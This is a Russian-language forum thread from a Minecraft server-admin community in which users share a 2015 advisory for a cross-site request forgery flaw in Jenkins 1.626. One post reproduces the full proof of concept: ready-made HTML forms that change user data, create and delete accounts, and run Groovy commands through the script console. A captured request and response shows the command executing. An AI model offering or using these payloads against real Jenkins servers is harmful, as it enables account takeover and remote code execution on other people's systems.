1. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

XSS на Jenkins

Тема в разделе "Оффтопик", создана пользователем SocialRus, 28 авг 2015.

  1. Автор темы
    SocialRus

    SocialRus Старожил Пользователь

    Баллы:
    103
    Жаль, что нельзя ставить хайд от школоты (на этом прекрасном форуме), так вот зацените XSS уязвимость в Jenkins
    Код:
    #Title: Jenkins 1.626 XSS
    #Date: 27.08.15
    #Affected versions: => 1.626 (current)
    #Contact: smash [at] devilteam.pl
    Cross site request forgery vulnerability in Jenkins 1.626 allows remote attackers to hjiack the authentication of users for most request. Using CSRF it is able to change specific settings or even execute code on os as shown below.
    Examples:
    <html>
      <!-- Change user descripton -->
      <body>
        <form action="http://127.0.0.1/jenkins/user/user/submitDescription" method="POST">
          <input type="hidden" name="description" value="abc" />
        
    Не используйте в плохих целях...(Я предупреждал)
    Как думаете скоро пофиксят? Часть кода убрал, чтобы дети не смотрели. Ограничение 17+
     
    Последнее редактирование: 28 авг 2015
  2. ql_Nik_lp

    ql_Nik_lp Старожил Девелопер Пользователь

    Баллы:
    173
    Skype:
    q-nik-p
    Имя в Minecraft:
    ql_Nik_lp
    На сам женкинс то саммитнул уже?
     
  3. Vladlen_198

    Vladlen_198 Старожил Пользователь

    Баллы:
    108
    Skype:
    ultrashock98
    Имя в Minecraft:
    UltraShock
  4. Автор темы
    SocialRus

    SocialRus Старожил Пользователь

    Баллы:
    103
    Нет
     
  5. TetrissWorld

    TetrissWorld Активный участник Пользователь

    Баллы:
    76
    Skype:
    qazwsx200221
    Имя в Minecraft:
    Tetriss
    Тип можно данные аккаунтов менять или смотреть?
     
  6. Cyber Owl

    Cyber Owl Старожил Пользователь

    Баллы:
    153
    Смысл хайда, если это можно спокойно нагуглить?
     
  7. MySt1k

    MySt1k Старожил Пользователь

    Баллы:
    173
    А еще... на ....... есть уязвимость... где запретные данные можно подменить черлезом... я так себе халявных 4 гб ОЗУ на jenkins выделил, из доступных 256мб
     
  8. Автор темы
    SocialRus

    SocialRus Старожил Пользователь

    Баллы:
    103
    Подменить...
    Что-то ты не нагуглил и не создал тему...
     
  9. Автор темы
    SocialRus

    SocialRus Старожил Пользователь

    Баллы:
    103
    Не надо юзать, это плохо... Просто на руведре есть люди у которых проекты на jenkins'е, это было послание для них.
     
  10. Cyber Owl

    Cyber Owl Старожил Пользователь

    Баллы:
    153
    и что собственно даст создание подобной темы на портале, где больше 50% посетителей - люди с возрастом от 14 до 17 лет? Которые даже не знают, что это и что с этим делать?

    Знающий и профессионально занимающийся подобными делами это самостоятельно заметит и исправит.
     
  11. Автор темы
    SocialRus

    SocialRus Старожил Пользователь

    Баллы:
    103
    Дак, это и выложено для знающих, прочти пост выше...
     
  12. kursorik

    kursorik Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    kursorik
    Школьники, то что написано ниже, нельзя даже смотреть, а то придет в гости чёрный властелин!

    Код:
    #Title: Jenkins 1.626 - Cross Site Request Forgery
    #Date: 27.08.15
    #Affected versions: => 1.626 (current)
    #Vendor: jenkins-ci.org
    #Contact: smash [at] devilteam.pl
    
    Cross site request forgery vulnerability in Jenkins 1.626 allows remote attackers to hjiack the authentication of users for most request. Using CSRF it is able to change specific settings or even execute code on os as shown below.
    
    Examples:
    
    <html>
    <!-- Change user descripton -->
    <body>
    <form action="http://127.0.0.1/jenkins/user/user/submitDescription" method="POST">
    <input type="hidden" name="description" value="abc" />
    <input type="hidden" name="json" value="&#123;&quot;description&quot;&#58;&#32;&quot;abc&quot;&#125;" />
    <input type="hidden" name="Submit" value="Submit" />
    <input type="submit" value="Go" />
    </form>
    </body>
    </html>
    
    <!-- // -->
    
    <html>
    <!-- Add user -->
    <body>
    <form action="http://127.0.0.1/jenkins/securityRealm/createAccountByAdmin" method="POST">
    <input type="hidden" name="username" value="csrf" />
    <input type="hidden" name="password1" value="pass" />
    <input type="hidden" name="password2" value="pass" />
    <input type="hidden" name="fullname" value="Legit&#32;Bob" />
    <input type="hidden" name="email" value="bob&#64;mail&#46;box" />
    <input type="hidden" name="json" value="&#123;&quot;username&quot;&#58;&#32;&quot;csrf&quot;&#44;&#32;&quot;password1&quot;&#58;&#32;&quot;pass&quot;&#44;&#32;&quot;password2&quot;&#58;&#32;&quot;pass&quot;&#44;&#32;&quot;fullname&quot;&#58;&#32;&quot;Legit&#32;Bob&quot;&#44;&#32;&quot;email&quot;&#58;&#32;&quot;bob&#64;mail&#46;box&quot;&#125;" />
    <input type="hidden" name="Submit" value="Sign&#32;up" />
    <input type="submit" value="Go" />
    </form>
    </body>
    </html>
    
    <!-- // -->
    
    <html>
    <!-- Delete user -->
    <body>
    <form action="http://127.0.0.1/jenkins/user/csrf/doDelete" method="POST">
    <input type="hidden" name="json" value="&#123;&#125;" />
    <input type="hidden" name="Submit" value="Yes" />
    <input type="submit" value="Go" />
    </form>
    </body>
    </html>
    
    <!-- // -->
    
    <html>
    <!-- Code execution #1
    groovy: print "cmd /c dir".execute().text
    -->
    <body>
    <form action="http://127.0.0.1/jenkins/script" method="POST">
    <input type="hidden" name="script" value="print&#32;&quot;cmd&#32;&#47;c&#32;dir&quot;&#46;execute&#40;&#41;&#46;text&#13;&#10;" />
    <input type="hidden" name="json" value="&#123;&quot;script&quot;&#58;&#32;&quot;print&#32;&#92;&quot;cmd&#32;&#47;c&#32;dir&#92;&quot;&#46;execute&#40;&#41;&#46;text&#92;n&quot;&#44;&#32;&quot;&quot;&#58;&#32;&quot;&quot;&#125;" />
    <input type="hidden" name="Submit" value="Wykonaj" />
    <input type="submit" value="Go" />
    </form>
    </body>
    </html>
    
    <html>
    <!-- Code execution #2
    groovy: print "cmd /c dir".execute().text
    -->
    <body>
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://127.0.0.1/jenkins/computer/(master)/script", true);
    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "script=println+%22cmd+%2Fc+dir%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    </body>
    </html>
    
    
    Request:
    POST /jenkins/script HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: pl,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/jenkins/script
    Cookie: JSESSIONID=E8F948238B2F4D6DAFAF191F074E6C3E; screenResolution=1600x900
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 178
    
    script=print+%22cmd+%2Fc+dir%22.execute%28%29.text%0D%0A&json=%7B%22script%22%3A+%22print+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%5Cn%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj
    
    Response:
    HTTP/1.1 200 OK
    Date: Thu, 27 Aug 2015 18:06:55 GMT
    Server: Apache
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    Expires: 0
    Cache-Control: no-cache,no-store,must-revalidate
    X-Hudson-Theme: default
    X-Hudson: 1.395
    X-Jenkins: 1.626
    X-Jenkins-Session: 0ff3a92b
    X-Hudson-CLI-Port: 1834
    X-Jenkins-CLI-Port: 1834
    X-Jenkins-CLI2-Port: 1834
    X-Frame-Options: sameorigin
    X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoMa5pk8H/b/c/jIOBH+D8XGi2/1MUshSuGtK41S9ON67SRR1Dzmqlzhj+Hsgla6+NJDCFKqZf3aoQbgt8nVzQRkb12bjYPHMupa58SApxwIyvhRJaNq9jq+CcllEwt9m+N1JeCxeLork82LAbiDSBbPhHBGLzqA0a9hzKVTm80i9yiTqDoEK+WyK4m8AyqJFH/V4lkERKbSr2YK1u2sFGCuBaGAK/RYspmNmJSqj0c3lPEYeDsehTSn4PHpFrbsvKkHKD1RxNDRciSFMNY3RtxpBEhKxvJHkpy9HKF+ktYebwCMZ4J8LKnhkvwqJPgpqar3FuxX4Gsfwoy0/1oCtPQIDAQAB
    X-SSH-Endpoint: 127.0.0.1:1832
    Content-Type: text/html;charset=UTF-8
    Content-Length: 13468
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    (...)
    ><link rel='stylesheet' href='/jenkins/adjuncts/0ff3a92b/org/kohsuke/stapler/codemirror/theme/default.css' type='text/css' /><h2>Rezultat</h2><pre> Wolumin w stacji C to Windows7_OS
    Numer seryjny woluminu: D2DC-59F9
    
    Katalog: C:\Bitnami\jenkins-1.626-0
     
  13. TetrissWorld

    TetrissWorld Активный участник Пользователь

    Баллы:
    76
    Skype:
    qazwsx200221
    Имя в Minecraft:
    Tetriss
    Хрень какая-то
     
  14. kursorik

    kursorik Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    kursorik
    1) Формируем POST запрос.
    2) Скармливаем его Фидлику.
    3) Открываем Женькинс.
    4) Ждем когда Фидлик, прочекает траффик и подменит ваш запрос.
    5) ???
    6) Профит_)
     
  15. TetrissWorld

    TetrissWorld Активный участник Пользователь

    Баллы:
    76
    Skype:
    qazwsx200221
    Имя в Minecraft:
    Tetriss
    Кто такой фидлик?
     
  16. kursorik

    kursorik Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    kursorik
    Нинада!!11 Я больше так нибуду!
     
  17. TetrissWorld

    TetrissWorld Активный участник Пользователь

    Баллы:
    76
    Skype:
    qazwsx200221
    Имя в Minecraft:
    Tetriss
    :lol:
     
  18. Alexey123

    Alexey123 Старожил Пользователь

    Баллы:
    153
    Костыль на костыле вышел же O_O
    Тут, кажется, указан готовый HTML-код, который достаточно сохранить в .htm-страницу и открыть браузером.
    UPD. Открыть администратору, кажется. По сути выходит то же самое, что и пассивная XSS.
    ТОПСИКРИТ! HakerHelp успешно творил такие штуки.
     
    Последнее редактирование: 30 авг 2015

Поделиться этой страницей